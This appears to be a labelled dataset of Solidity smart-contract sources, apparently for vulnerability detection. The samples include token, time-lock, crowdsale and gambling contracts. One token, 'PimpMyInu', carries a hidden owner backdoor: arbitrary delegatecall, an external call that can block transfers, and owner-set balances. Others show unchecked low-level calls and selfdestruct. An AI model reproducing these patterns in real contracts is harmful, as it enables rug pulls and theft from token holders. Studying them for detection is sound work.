source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
|---|---|---|
pragma solidity ^0.4.24;
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
contract SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
interface ERC20Token {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function decimals() external view returns (uint8 _decimals);
function totalSupply() external view returns (uint256 _totalSupply);
function balanceOf(address _owner) external view returns (uint256 _balance);
function transfer(address _to, uint256 _value) external returns (bool _success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success);
function approve(address _spender, uint256 _value) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenMultiTimeLock is SafeMath, Owned, ERC20Token {
string private constant standard = "545028";
string private constant version = "alpha";
string private _name = "NTEST";
string private _symbol = "NTST";
uint8 private _decimals = 18;
uint256 private _totalSupply = 2 * 10**9 * uint256(10)**_decimals;
mapping (address => uint256) private balanceP;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => uint256[]) private lockTime;
mapping (address => uint256[]) private lockValue;
mapping (address => uint256) private lockNum;
uint256 private later = 0;
uint256 private earlier = 0;
event Burn(address indexed _from, uint256 _value);
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
constructor() public {
balanceP[msg.sender] = _totalSupply;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = add(earlier, _earlier);
}
function setUnlockLater(uint256 _later) public onlyOwner {
later = add(later, _later);
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return _allowance[_owner][_spender];
}
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
i++;
}
return tempLockTime;
}
function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) {
return lockValue[_address];
}
function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) {
return lockNum[_address];
}
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(currentLockTime[i], later)) {
balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
require(add(lockNum[msg.sender], _time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = sub(add(add(now, _time[i]), earlier), later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(msg.sender, _to, _time[i], _value[i]);
emit Transfer(msg.sender, _to, _value[i]);
i++;
}
return true;
}
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && _allowance[_from][msg.sender] >= totalValue);
require(add(lockNum[_from], _time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[_from] = sub(balanceP[_from], _value[i]);
_allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = sub(add(add(now, _time[i]), earlier), later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(_from, _to, _time[i], _value[i]);
emit Transfer(_from, _to, _value[i]);
i++;
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && _allowance[_from][msg.sender] >= _value);
_allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value);
balanceP[_from] = sub(balanceP[_from], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
_allowance[msg.sender][_spender] = add(_allowance[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, _allowance[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
if(_value >= _allowance[msg.sender][_spender]) {
_allowance[msg.sender][_spender] = 0;
} else {
_allowance[msg.sender][_spender] = sub(_allowance[msg.sender][_spender], _value);
}
emit Approval(msg.sender, _spender, _allowance[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
_totalSupply = sub(_totalSupply, _value);
emit Burn(msg.sender, _value);
return true;
}
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
} | 1 | 4,447 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event NewOwner (address indexed owner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner () {
if (owner != msg.sender) revert();
_;
}
function setOwner (address candidate) public onlyOwner {
if (candidate == address(0)) revert();
owner = candidate;
emit NewOwner(owner);
}
}
contract TokenAware is Ownable {
function withdrawToken (address addressOfToken, uint256 amount) public onlyOwner returns (bool) {
bytes4 hashOfTransfer = bytes4(keccak256('transfer(address,uint256)'));
return addressOfToken.call(hashOfTransfer, owner, amount);
}
}
contract Destructible is TokenAware {
function kill () public onlyOwner {
selfdestruct(owner);
}
}
contract Pausable is Destructible {
bool public paused;
event NewStatus (bool isPaused);
modifier whenNotPaused () {
if (paused) revert();
_;
}
modifier whenPaused () {
if (!paused) revert();
_;
}
function setStatus (bool isPaused) public onlyOwner {
paused = isPaused;
emit NewStatus(isPaused);
}
}
contract Operable is Pausable {
address[] public operators;
event NewOperator(address indexed operator);
event RemoveOperator(address indexed operator);
constructor (address[] newOperators) public {
operators = newOperators;
}
modifier restricted () {
if (owner != msg.sender &&
!containsOperator(msg.sender)) revert();
_;
}
modifier onlyOperator () {
if (!containsOperator(msg.sender)) revert();
_;
}
function containsOperator (address candidate) public constant returns (bool) {
for (uint256 x = 0; x < operators.length; x++) {
address operator = operators[x];
if (candidate == operator) {
return true;
}
}
return false;
}
function indexOfOperator (address candidate) public constant returns (int256) {
for (uint256 x = 0; x < operators.length; x++) {
address operator = operators[x];
if (candidate == operator) {
return int256(x);
}
}
return -1;
}
function addOperator (address candidate) public onlyOwner {
if (candidate == address(0) || containsOperator(candidate)) revert();
operators.push(candidate);
emit NewOperator(candidate);
}
function removeOperator (address operator) public onlyOwner {
int256 indexOf = indexOfOperator(operator);
if (indexOf < 0) revert();
if (uint256(indexOf) != operators.length - 1) {
address lastOperator = operators[operators.length - 1];
operators[uint256(indexOf)] = lastOperator;
}
delete operators[operators.length - 1];
emit RemoveOperator(operator);
}
}
contract EtherShuffleLite is Operable {
uint256 public nextGameId = 1;
uint256 public lowestGameWithoutQuorum = 1;
uint256[5] public distributions = [300000000000000000,
240000000000000000,
220000000000000000,
0,
0];
uint8 public constant countOfParticipants = 5;
uint256 public gamePrice = 15 finney;
mapping (uint256 => Shuffle) public games;
mapping (address => uint256[]) public gamesByPlayer;
mapping (address => uint256) public balances;
struct Shuffle {
uint256 id;
address[] players;
bytes32 hash;
uint8[5] result;
bytes32 secret;
uint256 value;
uint256 price;
}
event NewGame (uint256 indexed gameId);
event NewHash (uint256 indexed gameId);
event NewReveal (uint256 indexed gameId);
event NewPrice (uint256 price);
event NewDistribution (uint256[5]);
event Quorum (uint256 indexed gameId);
constructor (address[] operators)
Operable(operators) public {
}
modifier onlyExternalAccount () {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
if (size > 0) revert();
_;
}
function newGame () public payable whenNotPaused onlyExternalAccount {
if (msg.value != gamePrice) revert();
uint256 gameId = nextGameId;
nextGameId++;
Shuffle storage game = games[gameId];
if (game.id != 0) revert();
game.id = gameId;
game.price = gamePrice;
emit NewGame(gameId);
joinGameInternal(game, msg.sender, msg.value);
}
function joinGame (uint256 gameId) public payable whenNotPaused onlyExternalAccount {
Shuffle storage game = games[gameId];
joinGameInternal(game, msg.sender, msg.value);
}
function joinGameFromBalance (uint256 gameId) public whenNotPaused {
uint256 balanceOf = balances[msg.sender];
Shuffle storage game = games[gameId];
if (balanceOf < game.price) revert();
balances[msg.sender] -= game.price;
joinGameInternal(game, msg.sender, game.price);
}
function joinGameInternal (Shuffle storage game, address player, uint256 value) private {
if (game.id == 0) revert();
if (game.players.length == countOfParticipants) revert();
if (value != game.price) revert();
game.value += gamePrice;
if (game.value < gamePrice) revert();
game.players.push(player);
gamesByPlayer[player].push(game.id);
if (game.players.length == countOfParticipants) {
emit Quorum(game.id);
}
}
function gamesOf (address player) public constant returns (uint256[]) {
return gamesByPlayer[player];
}
function balanceOf (address player) public constant returns (uint256) {
return balances[player];
}
function getPlayers (uint256 gameId) public constant returns (address[]) {
Shuffle storage game = games[gameId];
return game.players;
}
function hasHash (uint256 gameId) public constant returns (bool) {
Shuffle storage game = games[gameId];
return game.hash != bytes32(0);
}
function getHash (uint256 gameId) public constant returns (bytes32) {
Shuffle storage game = games[gameId];
return game.hash;
}
function getResult (uint256 gameId) public constant returns (uint8[5]) {
Shuffle storage game = games[gameId];
return game.result;
}
function hasSecret (uint256 gameId) public constant returns (bool) {
Shuffle storage game = games[gameId];
return game.secret != bytes32(0);
}
function getSecret (uint256 gameId) public constant returns (bytes32) {
Shuffle storage game = games[gameId];
return game.secret;
}
function getValue (uint256 gameId) public constant returns (uint256) {
Shuffle storage game = games[gameId];
return game.value;
}
function setHash (uint256 gameId, bytes32 hash) public whenNotPaused restricted {
Shuffle storage game = games[gameId];
if (game.hash != bytes32(0)) revert();
game.hash = hash;
emit NewHash(game.id);
}
function reveal (uint256 gameId, uint8[5] result, bytes32 secret) public whenNotPaused restricted {
Shuffle storage game = games[gameId];
if (game.players.length < uint256(countOfParticipants)) revert();
if (game.secret != bytes32(0)) revert();
bytes32 hash = keccak256(result, secret);
if (game.hash != hash) revert();
game.secret = secret;
game.result = result;
disburse(game);
emit NewReveal(gameId);
}
function disburse (Shuffle storage game) private restricted {
uint256 totalValue = game.value;
for (uint8 x = 0; x < game.result.length; x++) {
uint256 indexOfDistribution = game.result[x];
address player = game.players[x];
uint256 playerDistribution = distributions[indexOfDistribution];
uint256 disbursement = totalValue * playerDistribution / (1 ether);
uint256 playerBalance = balances[player];
game.value -= disbursement;
playerBalance += disbursement;
if (playerBalance < disbursement) revert();
balances[player] = playerBalance;
}
balances[owner] += game.value;
game.value = 0;
}
function setPrice (uint256 price) public onlyOwner {
gamePrice = price;
emit NewPrice(price);
}
function setDistribution (uint256[5] winnings) public onlyOwner {
distributions = winnings;
emit NewDistribution(winnings);
}
function withdrawToMany (address[] players) public {
for (uint8 x = 0; x < players.length; x++) {
address player = players[x];
withdrawTo(player);
}
}
function withdraw () public {
withdrawTo(msg.sender);
}
function withdrawTo (address player) public {
uint256 playerBalance = balances[player];
if (playerBalance > 0) {
balances[player] = 0;
player.transfer(playerBalance);
}
}
function contains (uint256 gameId, address candidate) public constant returns (bool) {
Shuffle storage game = games[gameId];
return contains(game, candidate);
}
function contains (Shuffle storage game, address candidate) private constant returns (bool) {
for (uint256 x = 0; x < game.players.length; x++) {
address player = game.players[x];
if (candidate == player) {
return true;
}
}
return false;
}
function createHash (uint8[5] result, bytes32 secret) public pure returns (bytes32) {
bytes32 hash = keccak256(result, secret);
return hash;
}
function verify (bytes32 hash, uint8[5] result, bytes32 secret) public pure returns (bool) {
return hash == createHash(result, secret);
}
function verifyGame (uint256 gameId) public constant returns (bool) {
Shuffle storage game = games[gameId];
return verify(game.hash, game.result, game.secret);
}
function getDistributions () public constant returns (uint256[5]) {
return distributions;
}
} | 0 | 265 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 0 | 2,001 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract PimpMyInu is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 10000000000000000000000000000;
string public name = "PimpMyInu";
string public symbol = "PIMP";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 1,811 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract CurrenXToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function CurrenXToken() public {
symbol = "CurX";
name = "CurrenX";
decimals = 18;
_totalSupply = 121000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
bonusEnds = now + 1 weeks;
endDate = now + 3 weeks;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 8066;
} else {
tokens = msg.value * 8066;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,277 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
